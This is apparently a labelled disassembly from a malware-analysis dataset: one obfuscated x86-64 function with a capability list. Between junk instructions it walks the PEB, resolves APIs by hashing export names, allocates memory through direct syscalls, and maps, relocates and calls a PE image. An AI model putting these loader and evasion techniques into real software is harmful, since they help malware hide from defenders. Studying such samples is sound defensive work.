Function at 0x140447df3
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
cmp r12b, dl
push r14
clc
jmp 0x140447e03
push r13
cmp rbp, 0x68d445b0
clc
push r12
push rsi
test bx, r12w
stc
cmc
push rdi
jmp 0x140447e1c
push rbp
push rbx
test r9d, eax
clc
cmc
sub rsp, 0x78
clc
cmp qword [0x1400dd010], 0
jmp 0x140447e35
je 0x140447e88
sub eax, eax
add cl, dil
sbb cl, bpl
bts r15w, di
lea rcx, [section.Gnueyix0]
sar r15d, cl
nop word cs:[rax + rax]
lea r15, [rax + 0x10]
clc
jmp 0x140447e69
cmp qword [rax + rcx + 0x20], 0
nop
movsx ax, al
mov rax, r15
jmp 0x140447e7d
jne 0x140447e5f
jmp 0x140447e8b
sub r15d, r15d
movabs r12, 0xcbf29ce484222325
mov r10w, 0x185a
movabs r13, 0x1d12a89b9e723ff5
and ecx, r14d
btr r10w, r15w
test bpl, 5
mov rcx, qword gs:[0x30]
sal r8w, cl
mov rcx, qword [rcx + 0x60]
rcl r10, 0x66
mov r10, qword [rcx + 0x18]
bsr r8w, r8w
btr r8w, r8w
clc
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140447ee7
jmp 0x140447efa
cmp rbx, r8
jmp 0x140447ef4
je 0x140447ff6
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
jmp 0x140447f06
test r9, r9
jmp 0x140447f0e
je 0x14044825d
mov r11, qword [r10 + 0x60]
rcl dil, 0x53
movsxd rdi, esp
mov rdi, 0xffffffffffffffff
cmp r12d, esi
test r8, rsp
clc
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140447f39
lea rdi, [rdi + 1]
jmp 0x140447f42
jne 0x140447f2d
mov rbx, r12
cmp al, 0xab
test r15b, bpl
test rdi, rdi
jmp 0x140447f58
je 0x140447eec
xor ecx, ecx
mov bpl, 7
movzx rax, r9w
xadd bl, dh
mov rdx, r12
ror ax, cl
shl al, 0x41
nop word [rax + rax]
shld rbp, rcx, 0x5c
movzx ebx, word [r11 + rcx*2]
lea ebp, [rbx - 0x41]
or si, 0x687d
dec sil
lea esi, [rbx - 0x410]
btc ax, 0x13
btr ax, 0xbd
lea eax, [rbx + 0x20]
test edi, r13d
cmp r9b, sil
cmc
cmp si, 0x20
jmp 0x140447fb1
cmovb ebx, eax
cmp r10b, bl
cmp bp, 0x1a
jmp 0x140447fc0
cmovb ebx, eax
movzx ebx, bx
xor rbx, rdx
sub rdx, 0x3ff32523
movzx rdx, r12w
and dl, spl
imul rbx, r13
sets dh
mov edx, 0x569d44bc
inc ecx
mov rdx, rbx
cmp rcx, rdi
jb 0x140447f7e
jmp 0x140447eec
test r10, r10
jmp 0x140447ffe
je 0x14044825d
movsxd rax, dword [r9 + 0x3c]
movzx rdx, sp
mov eax, dword [r9 + rax + 0x88]
cmovnp dx, dx
and dx, r11w
lea rcx, [r9 + rax]
cmove dx, dx
sbb dx, bx
test rax, rax
xchg edx, edx
cmove rcx, rax
adc dh, 0xce
shl dl, 0x8b
mov qword [rsp + 0x38], rcx
sal rdx, 0xfc
xchg dh, dh
mov edx, dword [rcx + 0x18]
test r14b, 0x69
test edx, edx
jmp 0x14044804f
je 0x14044825d
mov rax, qword [rsp + 0x38]
bswap r8d
movzx r10w, r14b
mov ecx, dword [rax + 0x20]
lea rcx, [rcx + r9]
not r10b
sbb r8b, 0xb7
adc r8d, 0x1c3f3df3
mov qword [rsp + 0x40], rcx
xadd r10b, r8b
cmc
btr r10w, 0xbe
mov r10d, dword [rax + 0x24]
add r10, r9
mov r8d, dword [rax + 0x1c]
cmp r15b, r9b
add r8, r9
xor edi, edi
jmp 0x14044809f
jmp 0x1404480c5
mov edx, dword [rsp + 0x20]
inc rdi
cmp r12d, ecx
mov eax, edx
test bx, r10w
cmp r8, r9
cmp rdi, rax
jmp 0x1404480bf
jae 0x14044825d
movzx ecx, word [r10 + rdi*2]
mov ebx, dword [r8 + rcx*4]
test sil, bpl
stc
cmc
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x1404480a8
mov dword [rsp + 0x20], edx
movsx si, r15b
movzx bp, r10b
mov rax, qword [rsp + 0x40]
btc ebp, esp
cmc
test spl, 0xec
mov esi, dword [rax + rdi*4]
lea rsi, [rsi + r9]
mov rbp, 0xffffffffffffffff
stc
nop dword [rax + rax]
clc
cmc
cmp byte [rsi + rbp + 1], 0
jmp 0x14044811c
lea rbp, [rbp + 1]
jne 0x140448112
mov rcx, r12
test esp, 0x278b1f66
jmp 0x140448134
test rbp, rbp
jmp 0x14044813c
je 0x1404481d3
xor r14d, r14d
cmovb dx, r9w
rcl r11b, cl
sbb ch, 0xb8
mov r11, r12
rcr ax, cl
btr ecx, 0x5d
xadd ax, cx
nop dword [rax]
stc
movzx ecx, byte [rsi + r14]
neg ax
cmp r12b, 0x50
and edx, 0x31846226
lea edx, [rcx - 0x41]
movsx ax, r11b
seto ah
lea eax, [rcx + 0x20]
test r11b, 0xe3
cmp bl, r13b
cmp dl, 0x1a
jmp 0x140448195
movzx eax, al
cmovae eax, ecx
movsx rcx, al
xor rcx, r11
inc r11d
imul rcx, r13
movsx r11, sp
movsx r11d, r15w
bswap r11w
inc r14d
mov r11, rcx
jmp 0x1404481c5
cmp r14, rbp
jmp 0x1404481cd
jb 0x140448166
mov rsi, qword [0x1400dd010]
cmc
cmp rdx, 0x487f1e83
stc
test rsi, rsi
jmp 0x1404481eb
je 0x1404480a4
lea rbp, [0x1400dd020]
jmp 0x1404481fe
nop word cs:[rax + rax]
cmp sil, r11b
stc
cmp rsi, rcx
jmp 0x140448219
je 0x14044823c
mov rsi, qword [rbp]
test dil, al
stc
add rbp, 0x10
cmp ecx, r8d
test rsi, rsi
jne 0x140448211
jmp 0x1404480a4
mov eax, dword [rbx + r9 + 4]
mov dh, 0x49
mov dword [rbp - 8], eax
movzx edx, r10w
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x18]
jmp 0x140448258
jmp 0x1404480a8
test r15, r15
jmp 0x140448265
je 0x1404482f7
sub ebp, ebp
lea rbx, [section.Gnueyix0]
mov rcx, r12
sbb rdx, 0x755c74e5
test al, r13b
shl dl, cl
nop dword [rax]
mov dx, r12w
movzx edx, byte [rbp + rbx + 0x10]
cmc
stc
test r8b, 0x76
xor rcx, rdx
imul rcx, r13
jmp 0x1404482a1
inc ebp
cmp r11b, r8b
test r10b, sil
cmp rbp, r15
jmp 0x1404482b1
jb 0x14044828a
movabs rdx, 0xe9203a08b69f42e8
cmc
lea rcx, [rcx + rdx]
movsx edx, di
movabs rdx, 0x52aea00e8a0b3911
clc
test bp, bp
xor rdx, rcx
movsx cx, dil
movabs rcx, 0xee16cad6b000daab
cmc
add rcx, rdx
jmp 0x1404482f2
jmp 0x140448308
movabs rcx, 0xd5d341ba60cb39c7
rol ax, cl
nop
rcl ah, cl
rol rcx, 0x16
bsr ax, r12w
movsx eax, r8w
movabs rax, 0x957b6a83b7a0090f
test r13w, 0xce3
xor rax, rcx
dec ch
bt cx, 0x99
movzx rcx, sp
movabs rcx, 0xec0e237d69308474
clc
stc
lea rcx, [rcx + rax]
cmp edi, r8d
mov qword [0x1400b7208], rcx
jmp 0x140448352
cmp qword [0x1400de010], 0
je 0x1404483a2
sub ecx, ecx
bt edx, r10d
cmp bp, r9w
dec rax
lea rdx, [section.oqwrNax1]
or eax, 0x1c8425dc
nop
rcl ax, cl
lea rax, [rcx + 0x10]
cmp bpl, r8b
cmp qword [rcx + rdx + 0x20], 0
cmovb ecx, r8d
mov rcx, rax
jmp 0x140448397
jne 0x14044837e
jmp 0x1404483a8
sub eax, eax
cmp cx, r12w
mov qword [rsp + 0x60], rax
cmp spl, cl
jmp 0x1404483b5
sub ecx, ecx
jmp 0x1404483d9
mov rcx, qword [rsp + 0x30]
jmp 0x1404483c6
inc rcx
test rsi, r15
cmp r14b, spl
cmp rcx, 8
je 0x1404487ca
lea rax, [0x1400bfdf0]
adc r8, 0x4a24406f
xchg r8w, r10w
mov qword [rsp + 0x30], rcx
sbb r8d, 0x62147302
rcr r8d, cl
mov r8, qword [rax + rcx*8]
test r10w, 0x6c48
mov rax, qword gs:[0x30]
dec r10b
mov rax, qword [rax + 0x60]
bswap r10d
mov r10, qword [rax + 0x18]
test r13b, 0x1d
add r10, 0x10
jmp 0x140448428
jmp 0x14044843b
cmp rdx, r8
jmp 0x140448435
je 0x140448542
mov r10, qword [r10]
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x14044844a
je 0x1404483bc
mov r14, qword [r10 + 0x60]
shld ebx, esi, 0x34
shl bl, cl
mov rbx, 0xffffffffffffffff
test dl, r14b
cmp al, sil
nop dword [rax]
cmp r11b, 0x59
test r13b, r8b
cmp r14, r9
cmp word [r14 + rbx*2 + 2], 0
jmp 0x140448481
lea rbx, [rbx + 1]
jmp 0x14044848a
jne 0x140448475
mov rdx, r12
test rbx, rbx
jmp 0x14044849b
je 0x14044842d
sub ecx, ecx
ror al, cl
lahf
mov rdi, r12
neg rbp
or edx, ecx
nop word [rax + rax]
movzx eax, word [r14 + rcx*2]
bts bp, r10w
bswap rsi
sbb rsi, 0x20d5025b
lea edx, [rax - 0x41]
xor bp, 0x2cae
movzx esi, r14w
lea esi, [rax - 0x410]
movzx bp, dl
and bpl, 0x49
sal bp, cl
lea ebp, [rax + 0x20]
clc
test r8b, r14b
jmp 0x1404484f1
cmp si, 0x20
cmovb eax, ebp
test r15w, r14w
clc
cmp dx, 0x1a
cmovb eax, ebp
movzx edx, ax
stc
xor rdx, rdi
rol dil, 0x8f
cmp r14w, 0x6cde
dec rdi
imul rdx, r13
mov rdi, rsi
inc ecx
mov dil, 0xf3
xadd di, di
or di, r8w
mov rdi, rdx
cmp rcx, rbx
jmp 0x140448537
jb 0x1404484b4
jmp 0x14044842d
test r10, r10
jmp 0x14044854a
je 0x1404483bc
movzx eax, word [r11]
cmc
cmp eax, 0x5a4d
jmp 0x14044855f
jne 0x1404485ab
movsxd rax, dword [r11 + 0x3c]
add cx, 0x543
neg rcx
lea rcx, [r11 + rax]
cmp r10b, r8b
stc
clc
cmp dword [r11 + rax], 0x4550
cwde
not eax
cmove r9, r11
jmp 0x140448593
mov rax, qword [rsp + 0x58]
jmp 0x14044859d
cmove rax, rcx
jmp 0x1404485a6
jmp 0x1404485b5
mov rax, qword [rsp + 0x58]
sbb bp, 0x4df5
mov qword [rsp + 0x58], rax
mov ecx, dword [rax + 0x88]
cmc
xor bpl, 0x7f
lea rax, [r9 + rcx]
clc
and ebp, r8d
mov bp, bp
test rcx, rcx
movzx bp, r15b
movsx bp, bl
cmove rax, rcx
xor bpl, 0xd1
add bp, 0x69b5
movsx rbp, r8w
mov ebp, dword [rax + 0x18]
jmp 0x1404485f6
test ebp, ebp
jmp 0x1404485fd
je 0x1404483bc
mov r14d, dword [rax + 0x20]
ror ch, 0x92
movzx cx, bl
lea r14, [r14 + r11]
mov ecx, dword [rax + 0x24]
clc
jmp 0x14044861b
lea rcx, [rcx + r11]
cmc
mov qword [rsp + 0x40], rcx
cmp rsp, rsp
mov qword [rsp + 0x20], rax
test r12d, 0x411a3af6
cmp spl, 0xaf
mov eax, dword [rax + 0x1c]
jmp 0x140448641
add rax, r11
cmc
mov qword [rsp + 0x38], rax
jmp 0x14044864f
xor esi, esi
jmp 0x140448656
jmp 0x1404486b1
mov rax, qword [rsp + 0x40]
sub bpl, r11b
movzx eax, word [rax + rsi*2]
mov rdx, qword [rsp + 0x38]
cmp r8b, r9b
ror bp, 0x52
bsr ebp, eax
mov eax, dword [rdx + rax*4]
movzx bp, sil
add rax, r11
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x20]
movzx ebp, r12w
mov ebp, dword [rax + 0x18]
seta al
lahf
movsx eax, dx
inc rsi
ror ah, 0xe4
shl al, 0xde
mov eax, ebp
cmp rsi, rax
jmp 0x1404486ab
jae 0x1404483bc
mov r8d, dword [r14 + rsi*4]
xor bx, r14w
btc rbx, rbp
add r8, r11
add bl, r13b
mov rbx, 0xffffffffffffffff
cmc
cmp dl, 0x2f
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
jmp 0x1404486dd
lea rbx, [rbx + 1]
jmp 0x1404486e6
jne 0x1404486d2
mov r10, r12
cmp bh, 0x59
cmc
test rbx, rbx
jmp 0x1404486fb
je 0x14044877f
sub ecx, ecx
cmp r9b, r14b
mov r15, r12
or di, si
jmp 0x140448711
nop dword [rax]
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
bswap r10w
add r10b, r11b
lea edx, [rdi + 0x20]
btr r10, rdx
cmp al, 0x1a
movzx eax, dl
cmovae eax, edi
shl r10d, 0x57
movsx r10, al
test r14b, 0x7d
xor r10, r15
not r15b
bts r15w, r9w
bsf r15w, si
imul r10, r13
inc r15b
jmp 0x14044875e
inc ecx
sal r15b, 0x2a
cmc
xor r15, rsi
mov r15, r10
cmp bpl, 0x39
stc
cmc
cmp rcx, rbx
jmp 0x140448779
jb 0x140448718
mov rbx, qword [0x1400de010]
clc
test r8b, 0x2b
cmc
test rbx, rbx
jmp 0x140448794
je 0x140448698
lea rcx, [0x1400de020]
nop dword [rax + rax]
test r13b, 0xbc
clc
cmp rbx, r10
je 0x14044865b
mov rbx, qword [rcx]
add rcx, 0x10
cmc
test rbx, rbx
jne 0x1404487ab
jmp 0x140448698
mov rax, qword [rsp + 0x60]
test r11d, esi
test rax, rax
jmp 0x1404487da
je 0x140448833
sub ecx, ecx
lea rbp, [section.oqwrNax1]
test dil, 0xb2
bsr edx, ebp
btr edx, edx
nop dword [rax]
jmp 0x140448801
movzx edx, byte [rcx + rbp + 0x10]
cmc
test r15, r14
xor rdx, r12
imul rdx, r13
movsx r12, r8w
inc ecx
movsx r12, r12w
mov r12, rdx
stc
cmc
cmp rcx, rax
jmp 0x140448828
jb 0x140448801
jmp 0x14044883d
mov rdx, r12
rol cl, cl
ror rax, cl
rcr al, cl
rol rdx, 0xb
rol cx, 0x66
movsx rax, bx
movabs rax, 0xdf7ad2359957b5f4
mov cx, dx
movsx rcx, bp
add rax, rdx
jmp 0x140448862
rol rax, 0x16
movabs rcx, 0x4934245b3ce013cf
cmc
xor rcx, rax
xor rax, r14
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
mov ch, ch
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
cmp ebx, r13d
clc
add rcx, rax
rol rcx, 0x25
cwde
or rax, 0x27217583
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
mov dword [0x1400b8eb8], eax
bts cx, r10w
movsxd rcx, r13d
movzx ecx, r9w
movzx ecx, word [0x140000000]
cmp ecx, 0x5a4d
jmp 0x1404488d9
jne 0x140448929
movsxd rcx, dword [0x14000003c]
xor edx, 0x3eb16555
bsf dx, di
lea rdx, [0x140000000]
jmp 0x1404488fc
cmp dword [rcx + rdx], 0x4550
jmp 0x140448908
jne 0x140448929
lea rbx, [rcx + rdx]
sal r13w, cl
lea r14, [rcx + rdx]
add r14, 0x108
movzx dx, dh
cdq
xchg bp, bp
imul eax, eax, 0x41c64e6d
add r10w, 0x5e3f
add eax, 0x3039
or bp, 0xc87
movzx r10d, r11w
imul ecx, eax, 0x41c64e6d
movzx r13d, r14w
btr bp, 0xdf
clc
shr eax, 0x10
add ebp, edi
inc r10b
setns r10b
lea edx, [rax + rax*2]
bsf r13w, si
shr edx, 0x10
mov ebp, eax
rol r13d, 0x7d
rcl r9, 0xe1
bt r12, 0xe4
sub ebp, edx
jmp 0x140448980
movzx ebp, bp
shr ebp, 1
rol r10d, 0x11
sbb r12w, r11w
movsx r12w, cl
add ebp, edx
cwd
movzx r13d, bp
mov r12b, 0x60
jmp 0x1404489a3
shr r13d, 0xe
movzx r12w, sil
add r13d, eax
sal r9w, 0x13
cqo
bt dx, r12w
and r13d, 0x3fff
or r10b, r14b
setae r12b
jmp 0x1404489ce
add r13d, 0xfff
cdqe
movzx dx, r15b
and r13d, 0x7000
add ecx, 0x3039
xor dx, 0x3b56
xor r12w, r12w
rcl r12b, 0xbe
mov dword [0x1400b8eb8], ecx
cmp dl, r9b
btr rax, 0x99
shr ecx, 0x10
xor r10b, 0xd0
movzx r10w, bpl
lea eax, [rcx + rcx*2]
movsx rdx, cx
rol r9b, cl
xadd r9, r9
shr eax, 0x10
mov edx, ecx
movsx r12, r12w
ror r9b, 0xba
sub edx, eax
movzx edx, dx
or r12, 0x200b74f7
sbb r9d, 0x6eaa1f06
shr edx, 1
shld r9, rbx, 0xdd
sar r10w, 0xa4
add edx, eax
movzx r12d, dx
shr r12d, 0xe
add r12d, ecx
and r12d, 0x3fff
inc r9b
movsx rax, r8w
add r12d, 0xfff
xor r9w, di
btc r10, rcx
cqo
and r12d, 0x7000
xadd dl, dh
add rax, rdx
sub rcx, r11
mov qword [rsp + 0x28], 0
cqo
stc
not r9b
mov qword [rsp + 0x20], rbx
movzx ax, r8b
sar cl, cl
mov ecx, dword [rbx + 0x50]
sar r9w, cl
bts edx, eax
rdtsc
lea rcx, [rcx + r12]
test dx, 0x247b
btr rdx, 0x43
mov al, r8b
lea rcx, [rcx + r13]
cwd
shr r10b, 0x79
cdq
mov qword [rsp + 0x48], rcx
or rdx, 0x7aa83ef3
mov eax, dword [0x1400dd078]
clc
lea rdx, [rsp + 0x28]
rol r9b, cl
bsr r9w, bx
btc r9w, ax
lea r9, [rsp + 0x48]
shrd r10d, ebp, 0xb8
dec r10
mov r10, 0xffffffffffffffff
cmc
test al, bh
xor r8d, r8d
cmp cl, bpl
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
jmp 0x140448b1d
mov qword [rsp + 0x30], 4
syscall
add rsp, 0x40
mov rcx, qword [rsp + 0x28]
xadd r8w, r8w
mov r8, qword [rsp + 0x48]
clc
stc
sub edx, edx
call fcn.1404a9950
mov r15, qword [rsp + 0x28]
test r13d, r13d
jmp 0x140448b51
je 0x140448d7f
mov rcx, r13
rcl ebp, 0x15
inc r8d
rol r8b, 0xc7
shr rcx, 3
cqo
cdqe
test r15b, r10b
cmp rcx, 2
cbw
cdqe
mov r8d, 1
cdqe
cmovae r8, rcx
sub r9d, r9d
shr rbp, cl
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add edx, 0x3039
imul edi, edx, 0x41c64e6d
sete ah
bt bx, r9w
mov ebp, edx
sar dx, 0x2a
rcl rbx, 0xff
shr ebp, 0x10
test sp, 0x663
rcr bh, cl
bsf edx, r11d
lea edx, [rbp + rbp*2]
rcr ax, cl
xor si, 0x2d0a
shr edx, 0x10
sub rax, r12
cmc
mov eax, ebp
rol bl, cl
btc rbx, 0x6f
sub eax, edx
xor rsi, 0xf457348
movzx eax, ax
bsr rsi, r8
shr eax, 1
shl cl, cl
add eax, edx
add edi, 0x3039
movzx edx, ax
xor rcx, r14
mov eax, edi
bts esi, ebp
mov si, si
shr eax, 0x10
lea ebx, [rax + rax*2]
shr edx, 0xe
shr ebx, 0x10
mov esi, eax
rcr rcx, cl
rcl cl, 0x9b
movzx ecx, r14w
sub esi, ebx
shl ch, cl
mov ecx, edx
movzx esi, si
cmp r12w, r15w
clc
cmp r14b, 0xe8
shr esi, 1
add esi, ebx
jmp 0x140448c42
shl ecx, 0xf
shrd bx, r8w, 0xbc
ror bh, cl
movzx ebx, si
shr ebx, 0xe
btc si, 0x1b
mov esi, ebx
test r15b, 0x80
sub edx, ecx
sbb ch, dl
shl esi, 0xf
sub ebx, esi
neg ecx
movzx rcx, bx
add ebx, eax
inc al
sub cx, 0x5cde
add edx, ebp
bswap rcx
sar ch, cl
bsf rax, rax
xor ebp, ebp
cmp bx, 0x10
movsxd rbx, esi
cbw
movzx bx, r11b
setb bpl
rcr ax, 0x33
adc ebx, esp
imul eax, edi, 0x41c64e6d
add eax, 0x3039
btr ecx, r11d
imul ecx, eax, 0x41c64e6d
or di, 0x39fe
add rdi, r9
shr eax, 0x10
shr ebx, 0x76
sar bh, 0xfb
lea ebx, [rax + rax*2]
xadd dil, dil
shr ebx, 0x10
and dil, cl
cmc
mov edi, eax
test cx, r15w
sub edi, ebx
movzx edi, di
shr edi, 1
test sp, 0x65d
cmc
add edi, ebx
or bl, 0x92
xchg bx, bx
movzx edx, dx
test sil, spl
btc ebx, 0xc5
sbb bl, bpl
movzx ebx, di
cmp r13w, 0x56f0
movzx di, r14b
movzx rdi, si
shr ebx, 0xe
neg dil
btr edi, 0x1d
mov edi, ebx
cmp r9b, r10b
or rbp, rdx
jmp 0x140448d21
shl edi, 0xf
cmp rdx, 0x76480759
sub ebx, edi
test spl, 0xf5
add ebx, eax
clc
add ecx, 0x3039
xor eax, eax
cmp bx, 0x20
not al
setb al
clc
cmc
test dil, sil
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140448d58
mov qword [r15 + r9*8], rax
inc r9
cmp r8, r9
jmp 0x140448d67
jne 0x140448b93
mov r15, qword [rsp + 0x28]
clc
cmp r14d, 0x2a95712b
jmp 0x140448d7f
test r12, r12
jmp 0x140448d87
je 0x140448fa1
sub r15, r12
inc bpl
add r15, qword [rsp + 0x48]
cmp bp, r14w
jmp 0x140448da4
shr r12, 3
cmp r12, 2
movsx esi, bx
not bh
mov r8d, 1
mov dx, 0x7eb4
movsx rbx, r14w
cdq
cmovae r8, r12
xor r9d, r9d
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add edx, 0x3039
xor ax, 0x4c84
xadd rsi, rbp
imul edi, edx, 0x41c64e6d
jmp 0x140448dec
mov ebp, edx
shr ebp, 0x10
sal sil, 0x1a
ror bx, cl
lea edx, [rbp + rbp*2]
sar sil, 7
shr edx, 0x10
or cx, 0x3ab4
mov ecx, r8d
mov ebx, ebp
add cx, r12w
sub ebx, edx
cdqe
movzx ebx, bx
shr ebx, 1
add ebx, edx
neg ax
test cl, r13b
add edi, 0x3039
jmp 0x140448e32
movzx edx, bx
mov ebx, edi
bts esi, r13d
shr ebx, 0x10
lea esi, [rbx + rbx*2]
shr edx, 0xe
sub ch, 0x97
shr esi, 0x10
test r15b, r10b
add cx, dx
mov eax, ebx
sub eax, esi
setb ch
xor cl, r9b
mov ecx, edx
movzx eax, ax
test dil, 0xf6
shr eax, 1
cmp r12w, r15w
add eax, esi
test dx, r11w
add sil, 0xf5
jmp 0x140448e78
shl ecx, 0xf
rcr si, 0x99
shr esi, 0xd
sar sil, cl
movzx eax, ax
btr rsi, r9
shr eax, 0xe
bts rsi, r15
cmc
adc sil, r15b
mov esi, eax
sub edx, ecx
shld cx, bx, 0xcd
stc
movzx cx, r12b
shl esi, 0xf
sub eax, esi
add eax, ebx
bt rcx, r10
bsr ebx, edx
sal ch, cl
add edx, ebp
xchg bx, bx
shr bh, cl
test r8w, 0xc80
xor ebp, ebp
cmp ax, 0x10
jmp 0x140448ed1
setb bpl
shr bh, cl
bt rax, r14
imul eax, edi, 0x41c64e6d
rcr dil, cl
mov ch, 0x33
add eax, 0x3039
sal cl, 0xf0
btr bx, bx
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea ebx, [rax + rax*2]
shr ebx, 0x10
rcl di, 0x4f
mov edi, eax
sub edi, ebx
stc
movzx edi, di
cmp bpl, r9b
stc
cmp dl, 0xe5
shr edi, 1
clc
cmp r14, 0x297d39d9
add edi, ebx
neg bh
sar rbx, cl
or bx, 0x6239
movzx edx, dx
xchg bl, bh
movzx ebx, di
shr ebx, 0xe
movzx di, dl
mov edi, ebx
cmp r12b, 0x58
or rbp, rdx
stc
cmc
shl edi, 0xf
clc
sub ebx, edi
test r9b, 0xa9
add ebx, eax
add ecx, 0x3039
sub eax, eax
sub al, 0x68
not al
cmp bx, 0x20
not al
setb al
stc
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140448f75
mov qword [r15 + r9*8], rax
inc r9
jmp 0x140448f81
cmp r8, r9
jmp 0x140448f89
jne 0x140448dc9
mov r15, qword [rsp + 0x28]
bts rax, rsi
movzx rax, dx
bt ax, 0xbc
mov rax, qword [rsp + 0x20]
test r14b, 0xe0
add r15, r13
movzx eax, word [rax + 6]
test r11d, 0x4a1823fd
test rax, rax
je 0x1404490f4
shl rax, 3
lea rbp, [rax + rax*4]
bts cx, cx
sub edi, edi
cbw
mov ebx, 4
sub r13w, 0x7ec2
jmp 0x140448fe3
lea rsi, [rsp + 0x70]
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x54]
bt ecx, 0xc0
cmp spl, r9b
nop dword [rax + rax]
bsf ax, cx
add eax, 0x6aa81bdd
mov edx, dword [r14 + rdi + 0xc]
cmp r12b, r12b
dec ax
lea rcx, [r15 + rdx]
add ah, ah
sub rax, 0x2e6356d7
mov qword [rsp + 0x70], rcx
add ax, ax
bt r8w, di
lea rax, [0x140000000]
not r8w
xor r8w, 0x797c
add r8w, r15w
add rdx, rax
mov r8b, 0x8e
mov r8d, dword [r14 + rdi + 8]
call fcn.1404a8f08
mov eax, dword [r14 + rdi + 8]
movsx r9w, al
xor r8b, r12b
btc r10, 0x35
mov qword [rsp + 0x68], rax
mov r9d, ebp
sbb al, dl
stc
mov dword [rsp + 0x54], 0
setb r8b
adc r10d, 0x6f0647b5
test dword [r14 + rdi + 0x24], 0x20000000
movsx r9w, dil
mov r9d, 0x40
cwde
cwd
cmove r9d, ebx
btr r8, 0x40
sal r10w, cl
mov eax, dword [0x1400dd088]
mov r10, 0xffffffffffffffff
clc
mov rdx, rsi
shl r8w, cl
bswap r8
sbb r8b, 0x66
mov r8, r12
sub rsp, 0x30
jmp 0x1404490cd
mov qword [rsp + 0x28], r13
jmp 0x1404490d7
syscall
add rsp, 0x30
stc
add rdi, 0x28
jmp 0x1404490e7
cmp ebp, edi
jmp 0x1404490ee
jne 0x140449007
lea rdx, [0x140000000]
cmp r13, 0x44b22743
mov rax, r15
shl esi, 0x84
rol ecx, cl
sub rax, rdx
mov rsi, qword [rsp + 0x20]
mov ecx, dword [rsi + 0xb0]
cmc
cmp r9, rdi
jmp 0x140449121
add rcx, rdx
je 0x140449202
mov r8d, 1
jmp 0x140449149
mov ebx, dword [rcx + 4]
test r8b, r10b
add rcx, rbx
jmp 0x140449143
je 0x140449202
cmp dword [rcx], 0
jmp 0x140449151
je 0x140449202
mov ebx, dword [rcx + 4]
stc
jmp 0x140449160
test rbx, rbx
je 0x140449202
lea rbp, [rbx - 8]
cmp bh, 0x52
cmp rbp, 2
jmp 0x140449179
jb 0x14044913b
shr rbp, 1
clc
cmp rbp, 2
cmovb rbp, r8
cmc
xor ebx, ebx
jmp 0x1404491be
and edi, 0xfff
mov edx, dword [rcx]
test sil, sil
add rdi, r15
add qword [rdx + rdi], rax
jmp 0x1404491aa
inc rbx
test ebp, r14d
cmp rbp, rbx
jmp 0x1404491b8
je 0x140449135
movzx edi, word [rcx + rbx*2 + 8]
jmp 0x1404491cb
cmp edi, 0x1000
jmp 0x1404491d6
jb 0x1404491aa
mov edx, edi
shr edx, 0xc
cmp edx, 0xa
jmp 0x1404491e9
je 0x140449193
cmp edx, 3
jmp 0x1404491f7
je 0x140449193
jmp 0x1404491aa
mov ecx, dword [rsi + 0xd0]
jmp 0x14044920d
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140449222
movdqu xmm2, xmmword [r15 + rcx + 0x10]
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140449238
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
lea rdx, [0x14005d630]
bsr cx, si
cmovs rcx, r9
add rdx, rax
lea rcx, [0x140000000]
jmp 0x140449261
call rdx
nop
bsr edi, edi
add rsp, 0x78
movzx di, sil
xchg r13w, bp
not bh
pop rbx
movsx r15d, r8w
mov bpl, 0x73
movsx rdi, r14w
pop rbp
cmova r12d, r11d
pop rdi
xchg r14b, sil
movzx r14w, r12b
pop rsi
pop r12
not r14w
movzx r15d, r8w
movsx r15d, di
pop r13
pop r14
mov r15b, 0xdf
pop r15
jmp 0x1404492ad
ret